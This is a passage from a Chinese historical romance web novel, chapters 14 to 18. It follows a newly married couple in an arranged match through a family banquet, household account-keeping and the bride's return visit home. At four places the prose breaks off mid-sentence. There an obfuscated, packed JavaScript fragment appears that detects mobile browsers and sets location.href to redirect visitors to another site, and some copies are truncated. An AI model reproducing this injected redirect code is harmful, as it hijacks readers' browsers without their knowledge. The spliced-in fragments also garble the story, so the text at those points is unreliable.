房遂宁坐在位置上，掀眉看一眼新妇打扮的儿媳。郑薜萝没有称呼二位长辈为“君舅、君姑”，而是直称父母，这让他略有些意外。 郑薜萝徐徐走到房遂宁身边落座，姿态端庄，房速崇心中挑剔一时淡化了些。 只是依旧忍不住腹诽：郑远持这老匹夫，居然能生出个还算顺眼的姑娘。 他余光瞥到角落里神色哀怨的外甥女，心中一凛，端起酒杯。 “今我儿荪桡成立，郑氏不遗，眷成婚媾。设祭祖厝，众肴备具，望你们夫妻二人往后相敬相爱，绵嗣繁衍。” 朗声说罢，他看向房遂宁，眸光一时严厉。 房遂宁尚未动作，余光却见身旁的人已然端着杯子款款起身。 他顿了顿，也站起身来。 房速崇看儿子没闹什么妖，规规矩矩地和新婚妻子一同饮下杯中酒，暗自松一口气。 房郑两家的联姻是皇帝亲指，郑远持已经做出姿态，将郑氏女送进了房家门，还随上了价值不菲的嫁妆，往后如何奉行陛下的恩旨，房氏的态度举动也会在有心人的注视之中。 无论如何，他是不能落于郑远持的下风的。 “家里住得还惯？”房速崇看向儿媳，语气如春风般和煦。 郑薜萝坐直身体：“回父亲，一切都好，并无什么不惯。” 房速崇点点头，目光移向她身旁的人，声音冷了些：“你呢？” 房遂宁放下了手中杯盏，平声应道：“父亲说笑，自己家，儿哪有什么住不惯的。” 房速崇的视线在新人夫妇之间逡巡，半晌哼笑了一声：“既住得惯，这阵子就好好陪陪妻子，往后也少宿在衙署里，像个孤魂野鬼似的。” 房遂宁面色微僵。 一旁的左素同适时出声：“依例，这三个月的婚假期间，荪桡不必操心衙署的事——反正你手头那案子也交出去了，大可安心休息。” 他虽是房遂宁顶头上司，然而此刻是家宴，他的身份便成了姑父，语气也没有往日在衙署里说话那般端着。 房遂宁抿着唇没有接话。左素同知道他脾气，也不计较。 房速崇心中有些无奈，转眼看向郑薜萝：“老夫身为房氏家主，如今正房里总算能添了新人，今年祭祀总算能在祖宗面前抬起头来！也亏得你这一来，把从来冷冷清清的循园给填满了，总算是不显空旷。” 郑薜萝低眸道：“让父亲见笑，已经请示过母亲，明日起媳妇便着手整理，不常用的东西便送去库房里。” “你们看着办就好。” 房速崇摆摆手，不管这些后宅琐碎的细节，微眯了眼道：“——你父亲舍不得，怕我们欺负了你，全玉京可都看在眼里，若这小子怠慢了你，尽管来和我讲，我替你管教！” 郑薜萝抿唇：“凡天下为父者送女儿出嫁，总不免不舍，这亦是人之常情，更多的还是感怀圣眷，” 她顿了顿，话锋随视线一转。 “——夫君待我十分宽和尊重，不因薜萝出身门第，就对我有任何轻视偏见。” 房遂宁眉心一跳，对上郑薜萝的目光。她正仰着脸看他，眸色清丽。 半晌，只见房家少郎君伸手，替妻子将鬓边一缕碎发勾去耳后。二人对视，深情款款。 郑薜萝的角度，却能看清房遂宁嘴角半是讥讽半是自嘲的笑容。 “那是自然，夫人聪慧，得妻如此，夫复何求？” 众人在一旁观望这两小夫妻四目相对，均是一脸看热闹的神色。 房遂宁收回视线，脸上的笑意倏然淡了。 郑薜萝提起壶来，将他手边的茶添满，推过去时，不经意间碰到他冰凉的尾指。 他迅速缩回手，不动声色。 - 酬宾宴在一团和气中过去，晚宴散时下起了小雨。 裴夫人带着儿子儿媳在门口送客，家主房速崇因临时有事没有现身。 房氏家大业大，远近亲疏各不相同，来参加婚宴的人近百之数，颇令裴敏意外的是，郑薜萝看着不声不响的一个人，脑子却是好使得很。一顿饭的功夫，居然就将人脸都记全了，一个个叫过来，礼节周全，辈分称呼俱没有错的。 反倒是与她并肩而立的房遂宁，面对一帮平常不甚来往的亲戚女眷，一副漠然拒人于千里之外的姿态。显然这些人谁是谁，对他而言并无所谓。 大家都知道少郎君的脾气，倒也没人觉得失礼。 左素同夫妇带着两个孩子出来，兰姐儿迈着两条小短腿跨出门槛，将母亲的手一松，朝房遂宁跑过来，展开手臂：“表哥，抱抱！表哥——” 房遂宁一脸的面无表情松动了几分，蹲下身子，将孩子抱了起来。 他个子高，兰姐儿被他高高举起来，又在怀里颠了颠，小丫头觉得有趣，咯咯直笑。 郑薜萝在他身旁，仰头看着孩子的笑脸，想起自家妹妹绵韵，嘴角也挂了抹淡淡笑意。 “这小皮猴子，快把你表哥松开，该回家了！”房菀笑斥道。 兰姐儿如同没听见，小拳头死死攥着房遂宁的衣袖，脑袋紧紧贴着他胸口，一头绒毛般的碎发蹭在他脖颈。房遂宁缩了缩脖子，嘴角总算有了点笑意。 房菀见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029875|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 状，冲着侄儿调侃道：“如今有了媳妇，便赶紧自己生一个吧！孩子们一道作伴，也省得这丫头每次只要缠着你！房家绵延香火的重任，就只有靠你了……” 房遂宁与兰姐儿逗弄着玩，神色原本柔和了些，只这一句话，笑意重又敛起。 郑薜萝转开脸，和廊下正缓缓驶离的马车挥手告别。 外面飘起了小雨，门廊下的一对壁人不知是不是都有些乏了，灯火下映照着同样优越的两张面容，分别看着不同方向。神色俱有几分索然。 房菀见状，暗自后悔自己嘴快。 本来她还偷偷和裴夫人说，虽然这桩婚事是圣人硬拉作配，但少年男女郎才女貌，哪有不一拍即合的道理。 眼下来看，这话倒是说早了。 小孩子察觉不到冷场的气氛，依旧缠在房遂宁怀里，将丝缎的前襟都揪得皱起。房菀脸一板，准备强硬给兰姐儿上规矩，却见郑薜萝朝她点了点头，示意自己来试一试。 得到许可，郑薜萝朝抱着孩子的房遂宁身边靠近了些，从袖中取出样小玩意儿，举起来。 “兰姐儿，这个给你玩，要不要表嫂抱抱？” 房遂宁瞥了一眼，她手里拿的是一只竹编的蟋蟀。 兰姐儿眼睛一亮，立马撒开房遂宁，冲着郑薜萝张开手臂，奶声奶气地喊：“我要表嫂！” 郑薜萝将孩子从房遂宁手里接过，远看这一幕颇为和谐。 房菀松了口气，方才短暂的尴尬就这么揭过。 郑薜萝将兰姐儿抱到了一边的角落里。房遂宁漫不经心地瞥去一眼，她和孩子在一起时明显有更多活人气，会张牙舞爪地做鬼脸，逗得孩子咯咯直笑，又在兰姐儿耳边不知嘀咕了什么，那孩子便乖乖地又从她的身上下来，手里抓着竹蟋蟀兴奋地跑回哥哥身边……郑薜萝微笑望着兰姐儿跑走，视线和房遂宁隔空对上，嘴角笑意迅速敛去。 他面无表情地收回视线。 “这丫头被我们惯得有些没边，你竟能降得住她，也是难得！”房菀衷心感叹，“——记得你说过，你也有个妹妹？” 郑薜萝点点头：“我有一个弟弟，一个妹妹，弟弟和兰姐儿差不多大，妹妹还要再小些。” 她看着玩闹在一处的哥姐儿俩，矜持的笑意淡了几分。 大门前逐渐冷落，一家家的宝马香车迤逦离开，所有人都面露倦色。 回循园穿过房府的这一路需经过花园，卵石小径路滑，郑薜萝带着且微，二人又不熟悉，走得便不算快。 且微一手扶着主子，一手撑着伞，抬头看了一眼，前面的房遂宁早就没了影子。 “姑爷真是的，自己一个人走那么快，也不等等我们……” 明明方才进门时，当着长辈的面，他都是挽着郑薜萝的手，放慢步伐一同行动的。 又问：“娘子，后日回门，姑爷会一起么？” “不知道。”郑薜萝心里丝毫不抱期待。 她脚步微顿，抬头看一眼，“收了伞吧，已经没什么雨了。” 天边一轮上弦月，被轻纱般的云雾遮绕，只看得清一个蹙起的眉尖。 15. 第 15 章 当晚房遂宁没有回屋，早上醒来房里依旧没人。郑薜萝梳洗打扮完毕，出门向君姑问安。 天色尚早，屋檐上方的天空呈现灰蒙蒙的蓝色。循园的下人已经开始忙碌，见到新妇装扮的少夫人，便站定行礼。 穿过长廊时，且微拽了拽郑薜萝的袖子，低声道：“看来姑爷昨天是宿在书房了。” 郑薜萝微微侧目。书房窗口已经亮起了灯，泊舟正站在门外打呵欠。 她收回视线：“走吧，别晚了。” 到岁安堂时，裴夫人刚刚上完香。秦嬷嬷侍立一旁，手里捧着本册子，正在禀报着什么。郑薜萝便站在门外等了一会。 “来。” 裴敏看清外面的人影，一边揉了揉太阳穴，对秦嬷嬷道：“等会儿吧，一大早听得脑仁儿疼。” 郑薜萝进屋行完礼，奉上茶，在裴夫人下首落座。 裴夫人抚着手边的茶盏，手指在杯沿上打圈，不紧不慢地道：“婚仪熬人精力，你们这两日也不必可丁可卯地过来问安，多休息休息也好。” “多谢母亲体恤，媳妇不累。” 裴夫人掀眉看了她一眼。郑薜萝梳着新妇发髻，露出光洁饱满的额头，精神似乎是还不错。 “荪桡怎么样？” 郑薜萝平声：“夫君今日起得也很早，看来平日公务繁忙，早起都已成了习惯。” 裴夫人闻言神色微敛。 “你们既已成婚，接下来要紧的事情，也不必我多说，自当明白。”她隐晦地看了儿媳一眼。 郑薜萝双手置于膝上，垂眸听着，低低应了一声。 裴夫人对她这样的反应不算满意，然而教养却不允许她过于施压于晚辈，尤其她还是圣人赐给的儿媳妇。 她清了清嗓子，转而问道：“昨日我看你带孩子有些心得，在家里便一直带着弟弟妹妹？” “是。” “都是嫡亲的弟妹？” “不是，绵韵和成帷都是姨娘所出。” “哦……”裴夫人抿唇，想起郑远持有一房姨太太，“你们姊妹几个感情看来不错。” “是，我和弟妹都住在一个院子。姨娘待我也很好。”郑薜萝语气诚恳。 裴夫人眉眼骄矜：“倒是难得。” 她乃世家嫡女出身，自小金尊玉贵，房裴两姓势均力敌，嫁入夫家后房速崇也只有她这一位正妻，很难理解与旁人共事一夫，分享恩宠的局面。裴敏听说过不少高官府上“小妾争宠，宠妾灭妻”的花边故事，始终觉得娶偏房都是家宅不宁的根源。 “他们房家的历代家主倒是鲜少纳妾，老爷也是，从来不曾提过这方面的事，呵呵，恐怕也是魅力不足的缘故。”裴夫人自嘲的口吻。 秦嬷嬷笑着道：“夫人说得哪里话，从一而终是男人的美德。” 裴夫人乜了她一眼：“什么美德不美德的，多嘴。” 秦嬷嬷这才醒觉方才的话对郑家颇为冒犯，忍不住看了下首的人一眼。 郑薜萝眉眼平淡，没有任何多余的反应。 “你母亲也是宗室出身，当年随老爷去到宣州时，我还一起拜会过你外祖。李夫人也是贤妻，这些年与你父亲相互扶持，应当也是经历了不少事情，” 裴夫人颇为理解的语气，“如今你父亲越来越忙，家里多个人帮着料理，也是应当的。” “母亲明鉴，儿媳也是这么想。”郑薜萝应和道。 裴夫人心中一动，想起之前听说过的某个传言：“听说你那姨娘，是你父亲的下属介绍的？” “是。张伯父在刑部时曾和父亲作同僚，姨娘是他的表妹。” "就是那个张绍鼎？原来还有这么一层关系……”裴夫人若有所思。 “父亲在部司公务繁忙，我初入玉京那一年里，能见到父亲的日子屈指可数，母亲一人撑着内宅，亦是不堪重负……” 郑薜萝眸光微闪。 那阵子李砚卿的状态很不好，人一旦过于疲累，又无法释放，难免会将负面的情绪施加给身边最亲近的人。郑远持公务又忙，常常好几日接连宿在衙署。刚刚不到十岁的郑薜萝，见过母亲在重压之下歇斯底里的样子，每当这时，吴妈妈就会牵着她的手，默默躲去一边。 “我有一日去衙署给父亲送饭，在他的书房遇到张伯父，他身后便跟着姨娘——那还是我第一次见她。” 裴夫人不禁皱眉。她想象这样的场景，下意识还是代入李砚卿的视角，只觉有种背叛感。 “后来，我就问父亲，为何不找个贴身照料的人？也能替母亲分担一些。” 方花实入府时，正是郑远持夫妇二人关系最为寡淡的一段时间。郑府里，最先朝方姨娘释放善意宽容接纳的，却是九岁的郑薜萝。 儿时辗转于外祖、祖父家之间，郑薜萝比任何人都更能体会方花实刚入府时的不安，她把姨娘视作玉京宅院里，同一屋檐下的同行客。 “有姨娘在，这些年家中的事也分担不少。” 裴夫人听郑薜萝寻常的语气，嘴角笑意渐渐凝固：她没有想到，当真会有嫡亲的女儿建议父亲纳妾。 她忽而感觉郑薜萝看似温柔的表象下，实则是捂不热的一颗心。想必出身商人家，见惯了长辈三妻四妾，才会有这样的想法。 转念一想，这对于儿子倒也未必是坏事。 郑薜萝察觉裴夫人复杂的目光，依旧淡淡的：“姨娘进门后，母亲亦是松了口气，她有更多的时间陪父亲在外，内宅则更多是姨娘与我相互作伴。后来成帷绵韵先后诞生，我作为长姊，也自然担负起照顾弟弟妹妹的职责。” “看来你和你姨娘的感情倒真是深厚。” 裴夫人再没兴趣听郑家内帷的事情，转脸看向秦嬷嬷，“继续吧，方才已然听了半天的，别过会儿都忘了。” 秦嬷嬷点点头，捧起手里的册子继续念了起来。 她汇报的内容艰涩，应当是本账簿，其中夹杂着大量的数据和名目，而她显然不太熟悉，频繁地停下，确认册子上的字眼，更像是刚入空门的和尚念经，磕磕巴巴。 厅里的几个丫鬟被迫旁听着，已经接连打了好几个哈欠。 “下面人怎么干的活？怎么会有这么多对不上的帐？？”裴夫人终于忍不住抱怨了起来，“——还有多少？” “还有……”秦嬷嬷翻了翻手里剩下的册子，苦着脸抬头，“十来页吧。” 裴夫人捏着眉心，不耐道：“老爷问得急，这节骨眼上房衡又告了病，真是要命！” “母亲，可否让儿媳看看？”坐着的郑薜萝突然出声。 裴夫人怔了怔，点头示意秦嬷嬷。 郑薜萝接过递来的册子，先大致翻了一遍，在某几页折了角，又细细重头翻阅，大约过了一炷香的功夫，便将册子阖上，递回过去。 “这做账 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035174|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的掌簿换过人，后面记账的人高明一些，用了‘四柱法’，每月见在之术便有了细微差异，是以才会有这么多对不上的地方。” 她娓娓道来，声音不高却条理清晰。 裴夫人思索着，道：“你方才说‘四柱法’，这倒是新鲜，我只记得原来老人做账，用得都是‘三柱法’。” 郑薜萝颔首：“所谓‘四柱法’，旧管、新收、开除和结存四柱之力，柱柱紧要，账承前月，将上旬结存和本旬收入分开记账，更加清晰明了——如今老家那边基本都是用四柱法，三柱已经很少见了。” “原来如此。” “我折角的地方，只要请账房重新核算一下，账面基本可以厘清。” 郑薜萝说罢，将手中账簿递还。 秦嬷嬷松了口气，接过账本，前后翻了一下，果然清晰了不少，赞叹道：“少夫人厉害，果然聪慧过人！” “班门弄斧，能为母亲分忧就好。” 裴夫人端起手里的茶，细细看了一眼郑薜萝，抿了一口。 “那几家文玩字画的铺子，改日理一理，都交给薜萝。” 她看着儿媳的目光柔和了些，口中抱怨道，“你可是不知，一笔笔都是糊涂人情账，老爷又不稀得过问，只怕叫有心的人钻了空子。你脑子灵光，也帮我理一理，完事交给房衡就好。” 郑薜萝点头应下。 裴夫人松了口气，宽和的口吻嘱咐：“明日三朝回门，你早点回去吧。账不急着算，到月底弄完便可。” 用完饭，四个小厮抱着比人高的发黄账簿，跟在少夫人后面回了循园。 盘点账册时，且微止不住抱怨：“这房家家大业大，还没开始享福呢，倒开始出苦力了……” “不然呢，总要找些事情做。” 郑薜萝坐在灯下，神色平静。 在岁安堂时，她大致翻了翻那本账簿，实则小问题不少，慎重起见，她只是说了个最为明显、也不会得罪人的。没想到君姑竟然就这么让她开始上手家族的事务，看来理账也着实让她头疼。 因为理账的事，裴夫人免了郑薜萝这一个月的晨昏定省。郑薜萝睡得晚，早晨醒来，枕边照旧空空荡荡，就像没躺过人似的。 她拥着被子，在床上坐了一会。还未完全适应，这两日醒来时总要恍惚好久。 将祖母的锦帕细心收好，她翻身下床，视线落在帘外，心下一跳——书案边有道修长人影。 昨日最后盘点嫁妆时，她吩咐人将房遂宁原本放在卧房的书案搬了回来，那张“雀占鸠巢”的贵妃榻则被收回了库房。 她缓步朝书案走过去：“夫君？” “你起来了？” 房遂宁笔还捏在手里，没有抬头，“听说母亲已经交了事情给你？” “是。管家告病，有一些账目要紧急处理。” 房遂宁掀眉看了她一眼，似乎想说些什么，最后只是冷哼一声。 他穿着一身牙白的居家长袍，倒是有闲情，这会正在泼墨。只是纸上看不出是山还是水，似乎只是一片混沌。 见他不再理会自己，郑薜萝站起来，走到妆台前坐下，拿着红木梳子一下下梳着头发。 房遂宁扔了手里的笔，信手将纸张揉皱了，扔到一边。 脚步声从身后靠近。郑薜萝放下手里的步摇，抬眼，和铜镜里的人对望。 “你用的什么香？” 16. 第 16 章 “……香？”郑薜萝一时没反应过来。 房遂宁皱眉：“房里总有股味道。” “可我并未用过什么香料。” 她低头，举起袖子嗅闻了一阵，忽而意识到什么，站起身推开妆台背后的窗子。 “——恐怕是我用的药。” 一阵微风吹进来，郑薜萝将吹乱的发丝撩去耳后，她还没有佩戴耳饰，白皙的耳垂上一个红点，似春日枝头的朱樱。 房遂宁收回视线：“你用什么药？” “我幼时曾不慎落水，很长一段时间体虚气郁，家里人寻遍名医得来方子，用白柰和十余种药材制成一味药丸，一连服用了数年。” 房遂宁看着她，眉心始终皱着。似乎在嫌弃她这副病弱的状态。 “现在药已停了，但那药丸的味道经年沁入体内，虽然我自己已经没什么感觉了，但或许对旁人还是很明显。” 郑薜萝缓缓道，“若你觉得不好闻，我点起熏香，遮一遮……” “不必了。”房遂宁摆了摆手，语气有些烦躁。 这时房门轻叩了两声，二人同时望向门口。 “进来。” 两个中年仆妇迈进屋来，手里端着叠好的衣物：云光锦的圆领长袍，配同色的丝缎腰带，一身世家公子的常服。 郑薜萝扫了一眼，便乖觉地退后两步，等仆妇给房遂宁更衣。谁料那仆妇却站定原地，同样以等待的姿态看着她。 二人面面相觑，对方先笑了起来。 “娘子这是还未习惯呢！如今女主人在这里，替郎君更衣这样的事，奴才们怎好越俎代庖……” 实则房遂宁成婚之前，近身伺候的事都是泊舟负责。少郎君脾气古怪，又有洁癖，轻易不让人靠近。如今顺理成章将这差事交给少夫人，下人们无不松一口气。 郑薜萝看向房遂宁，显然他本来是准备自己更衣的，被那仆妇一句话架在当地，也不好动作，只板着脸看她。 那眼神，让她想起新婚夜，她要帮他更衣时，他说的那句“你管好自己”。 她突然觉得有点好笑，这人也有形势所迫的时候。 缓步走上前，将房遂宁的衣服捧在手里。仆妇立时颇为懂事地后退了一大步。 她将衣袖在手里捋顺，锦缎柔软，穿过指尖，有微凉的触感。衣裳没有熏过香——少郎君从不喜任何后天添加的味道。 郑薜萝上前一步，委婉道：“郎君，妾替你更衣。” 房遂宁肩头一沉，短促地出了口气，抬起手臂。 他身上的中衣质地轻薄，郑薜萝的动作已经颇为得体，几乎不曾直接碰触到他，然而她越是小心放轻动作，那若有似无的接触反而越是让他不自在，他只能默默屏住呼吸。 衣衽在胸□□叠，始终避免目光接触的二人，终不免对视。 他视线漠然，她目色清明。 房遂宁抿住唇，先一步移开视线。 郑薜萝徐徐替他整理完衣襟，转身从托盘上拿起腰带，暗自松了口气。 总算最后一步了。她替他整理时便能清楚感知，房遂宁从头至尾身体僵硬得如同铁板，想必也在强忍着不适。 为了不让长辈过度关心，这点小小的委屈，看来还是可以承受。 郑薜萝这么想着，一边将腰带从他背后穿过。 仆妇站在一旁，见这和谐一幕，忍不住赞叹：“郎君今日陪娘子回门这一身，可真是玉树临风！娘子今日不如穿鹅黄，和郎君站在一块更衬出郎才女貌呢！” “陪我……回门？” 郑薜萝讶然回头，拽着腰带的手劲道一下没收住，房遂宁没提防被她拉带过去，一个踉跄，向她的方向猛然倾倒。 还好他腿长，跨出去时支撑住，只是上身势头收不住，一瞬间不可抑制地朝她怀里倒去。 她身上的味道一时浓烈，房遂宁只觉自己像抱着一捧沾了露水的鲜切栀子。 他双手扶住郑薜萝的肩膀，拉开距离，面色更难看了几分。 下人们交换眼神，掩嘴偷笑。娘子听说郎君要亲自陪她回门，欣喜异常，竟顾不得有外人在，对丈夫投怀送抱。她们何曾见过少郎君美人在怀，慌张无措的样子，那一时笨拙的身体反应，简直也太好品了。 郑薜萝手里还抓着腰带的两头，这才发现她将房遂宁的腰身紧紧勒住，更显出他身形。 “抱歉。是不是不舒服？” “……无妨。我自己来吧。” 房遂宁冷着脸，拿过她手里的腰带，自己调整好。 郑薜萝看着他低头摆弄，略有些尴尬，转头只见托盘上还剩下一块玉佩。 她将玉佩拿起来，顺势扫了那仆妇一眼，后者乖觉，端着盘子退出房间，将门阖上了。 “你要和我一同回门？” 房遂宁掀眉。郑薜萝站在一步之外，神色从容地伸手递玉佩给他。 没有旁人在，两人终于恢复了正常的距离，彼此称呼也不必惺惺作态。 房遂宁看出她在期待什么，接过玉佩，哼笑了一声。 “怎么？不想让为夫陪你么？” 他刻意亲昵的语气听来格外讽刺。 - 马车进了罗甸街，远远便看见大门前等待的人影，快步迎了上来。 “阿萝，终于回来了！” 郑薜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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房遂宁低头抿了口茶：“倒是委屈了薜萝。” 郑薜萝垂眸，身边人口中说着体己的话，视线却未曾落到自己身上半分。 她知道他是在做戏，却没戳破。难为他，肯在家人面前如此“努力”。 “夫君若觉得无聊，不必一直在这里陪我。天黑之前，妾身会自行回循园的。” 房遂宁转头看她，扬眉：“怎会无聊？难得为夫无事一身轻，理应好好陪陪娘子。” 他伸过手来，覆在她放在膝头的手上，学着方姨娘对她的称呼，温声道：“不带为夫参观一下你幼时的住处么，阿萝？” 郑薜萝看着他，心头一阵发毛。 “哈哈……好啊！阿萝，你带姑爷去西厢坐坐！”方花实见房遂宁如此温柔姿态，竟与传言中大不一样，连忙附和着撺掇起来。 郑薜萝不着痕迹地将手从房遂宁冰凉的掌心之下抽出来。 “我幼时并不住在这里。”她淡淡道。 房遂宁不以为意，顺势将手收了回去。 17. 第 17 章 “哎呀，那有什么要紧，就带姑爷看看你的闺房也是一样！” 方花实笑起来，朝房遂宁扬了扬眉，孰料姑爷却恍似未见一般移开了视线。 “成帷和绵韵呢？”郑薜萝转开话题。 “成帷去上学了，绵韵奶娘在陪着，这会可能在睡觉。早上成帷听说长姊今天回家，还说想求先生放他早些回来，见你一面呢……” 郑薜萝眼睫低垂：“还是课业重要。成帷长大了，懂事的。” 房遂宁问：“弟弟几岁了？在哪里念书？” 她看他一眼：“成帷八岁，在建安书院念书。” “倒是还小，没到入学的时候。这么聪明的孩子，来日定能成大器。” 郑薜萝听他这么说，神色中的落寞淡了些。 房遂宁口中的“入学”是指国子监。高门仕宦人家的子弟，年满十四岁便能以“官生”的身份送进国子监念书。 作为大祈最高学府，国子监每年的生员名额也只有两百人，皇城乃至地方有身份的人家，都挤破了头要将孩子送进去念书。国子监云集名师，往来的也都是贵胄子弟，也是争取来日功名的捷径。如房遂宁这样的世家公子，大多是国子监出身。 方花实想起迎亲那日，成帷将姐夫拦下考验的“过节”，笑道：“姑爷莫要笑话我们了，这孩子自小淘气，喜武不喜文，他父亲为了压压他的性子，才早早将他送去上学，不然整天待在家里，被下人们纵得胡闹惯了，头都被他吵昏！” 房遂宁轻轻一哂，目色骄矜。 方花实见气氛微有冷场，便试图攀起家常：“我听说，亲家府上也有和成帷同龄的孩子，是姑爷的亲弟弟？” “不是，是我姑母家的孩子，也是一男一女。” 方花实点点头：“孩子多一些好啊，尤其是大户人家，人多了才热闹！怎么房老爷却只生了你一个，没多些兄弟姐妹呢？” 郑薜萝微微侧目，房遂宁唇角依旧有礼地微勾着，眸光却渐渐冷了。 她想起房氏祠堂里裴夫人黯然神伤的样子，清了清嗓子：“茶冷了，来人——” 转头看向房遂宁，“这宜郡紫笋是从老家带来的，味道偏淡。若喝不惯，是否换盏团黄来？我从循园随身带了些。” 自从进屋，他手边的那一盏紫笋就没动过，丫鬟上来添茶，他也摇头示意不用。 房遂宁淡淡看她一眼：“这茶就好，并无不惯。” 他转头回答方姨娘的问题，“——我有个兄长，已经过世了。” “啊呀，竟有此事……是我冒昧了。”方花实神色登时愧疚。 “不知者不怪。”房遂宁淡淡道，“已经是十五年前的事了，家中很少提起，是以没什么人知道。” “竟这么久了，想来那可怜的孩子去世时，也尚未成年吧……” “兄长年长我三岁，出事那年，他九岁。”房遂宁语气颇为平静。 “天爷！这么小，房老爷和夫人定然很是难过！” 房荪荃与成帷眼下的年纪差不多，方花实光是想象着这样的丧子之痛，便觉惨烈，也没有察觉郑薜萝皱起的眉头，只抑制不住地同情道：“怎么会突然夭折呢？是染了什么病？” 房遂宁沉默下来。浓密的长睫投下阴影，遮住了他眼中的光。 他垂着眼，似在看手边那盏宜郡紫笋。细嫩带紫的茶芽在滚热的水中缓缓打着旋，上下起伏。 半晌，他沉声：“是意外。” 方花实面露讶异：“意外？怎么——” “夫君不是想看看我的房间，走吧，带你去。”郑薜萝站起身来。 房遂宁抬头看她，一时没动。 方花实这才意识到自己接连追问的不妥，忙跟着站起身：“是了，姑爷随便看看，就当自己家，我去后厨盯着些……” 说罢向郑薜萝点了点头，绕出了后门。 郑薜萝站在原地，迎着房遂宁的视线。 他看她时，目光里总带着几分习惯性的审视。此刻那审视里，还掺杂着些微妙的意味。 她心知自己方才打断话题的样子有些刻意了。 开口带了些解释的意味：“姨娘她没有旁的意思，只是看你亲切，所以才关心了几句，若有冒犯，我代她赔个不是。” 房遂宁一时没说话，半晌站起身：“前面带路。” 穿过连廊便到了西厢，房遂宁站在廊下，等主人推开门作出请的姿势，说了声“打扰”才迈步进门。 厢房内窗明几净，浅碧的帐幔低垂，屋里还有股若有似无的香气——很容易便分辨出来：是她身上那股白柰的味道。 郑薜萝的房间并不大，比起他们在循园的卧房只有不到三分之一的面积。清晨的阳光从半开的窗扇里照进来，细小的尘埃在光线中悬浮着，隐隐能听见外面弄堂里孩子的笑闹声，奔跑着远去…… 房遂宁有些意外，那些堆积如山的贵重嫁妆的主人，她的闺房竟然如此……接地气。 他目光微动，被窗台上摆着的东西吸引了注意：那是几件手工制成的物件——巴掌大的玲珑食盒、竹编的妆匣、甚至还有一架结构精巧的纺车模型。 “都是你做的？”他挑了挑眉。 郑薜萝顺着他视线看去。 “嗯。” 她走过去，将那些小玩意收回妆台的抽屉里——都是她在家中时打发时间做的，怕叫母亲看见了训斥，原本都是藏起来的。想必是在她出嫁之后，吴妈妈收拾屋子时找出来，摆在那里当个念想。 想起这次回来还没见到吴妈妈。郑薜萝阖上抽屉，眉头微蹙。 两人就此无话。房遂宁背着手站在原地，视线也不多在室内其余地方停留。 他生平第一次置身女子闺房之中，站在一副仕女图前，整个人冷硬的气质与这间小巧精致的卧房实在有些格格不入。若非查案这种特殊情形之下，他并没有探看旁人私隐的兴趣或习惯，亦无法理解有些男人对女子香闺病态的猎奇。 郑薜萝看着房遂宁一脸索然的样子，心中很能与之共情。她清楚，他方才在方花实面前展现的温柔体贴、以及对自己的好奇都是装出来的，房家少郎君估计还没有见过这么逼仄的卧房，若是不觉得无聊，才真是奇怪。 “父亲到现在还没回来，今日恐怕未必能见到他。让你跑空了。” “你怎知我是想要见他？”房遂宁转身看向妆台边站着的人。 “不然？” 此间只有他们二人，他也不再端着，哼笑了一声：“传说岳父大人为官勤俭，果然名不虚传。” “我们家自然是比不上贵府气派。”郑薜萝忽略他语气中的讽意，“你在查的那个案子，和父亲有关？” 房遂宁眼眸微眯：“他这么告诉你的？” 郑薜萝摇头：“父亲从不当着我们的面说公事。我只是听说——” “听说什么？”他语气倏然锐利，“说我敌视郑氏、刻意针对你父亲？还是——” “你在针对郑氏么？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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房遂宁依旧没有看她，只是用沉冷的语气继续：“你既嫁入房氏，便是我房氏的人。我府上的一切，对你而言都不再是秘密，希望你作为循园当下的女主人，能谨记自己身份。” “当下”二字，被他刻意加重。 “还有么？”她语气平静。 “我在刑部任职，所经手大小事务均属机密。我不会将公务带回家，更禁止任何人接触我的案子，无论房府和循园，无论房家人或是你，都是一样——倘若有违，我无可能徇私。” 房遂宁的视线转向郑薜萝，“只这两点，你能做到就好，至于侍奉长辈，夫妻义务这些，我不看重，亦不强求。” 说到夫妻义务，他原本冷淡的神色有了些微变化。 以为是错觉，可他的耳根分明微微泛红，视线也不自然地从她身上移开，代之以一种自我厌恶的神情。郑薜萝微觉奇怪。 房遂宁察觉她注视自己的视线，脸色更僵。 一想到成婚那夜，面对着熟睡的郑薜萝自己异样的反应，他便无比烦躁。 他六岁受箓，幼年师父教他“致虚极，守静笃”，曾评价他是教过的弟子中年纪最小，也最沉得住气、定得下心的。 人的贪嗔痴，大多不离情爱两字，他看过太多因色欲而毁掉一生的愚蠢例子。 他将自己面对她时会莫名腾起的冲动，归结于画麟阁那夜中毒的后遗症。毒质会让人失控、影响判断，这是唯一的可能。 房遂宁冷哼一声，不着痕迹地转移话题：“我已和房府的人强调过，未经我允准不得擅来循园。日后你住正院，我宿书房，你我不必共处一室。” “就这些？” 房遂宁看她一眼：“就这些。” “夫君所言，甚合我心。” 18. 第 18 章 “我知自己绝非贵府属意的儿媳人选。” 郑薜萝语气平静。 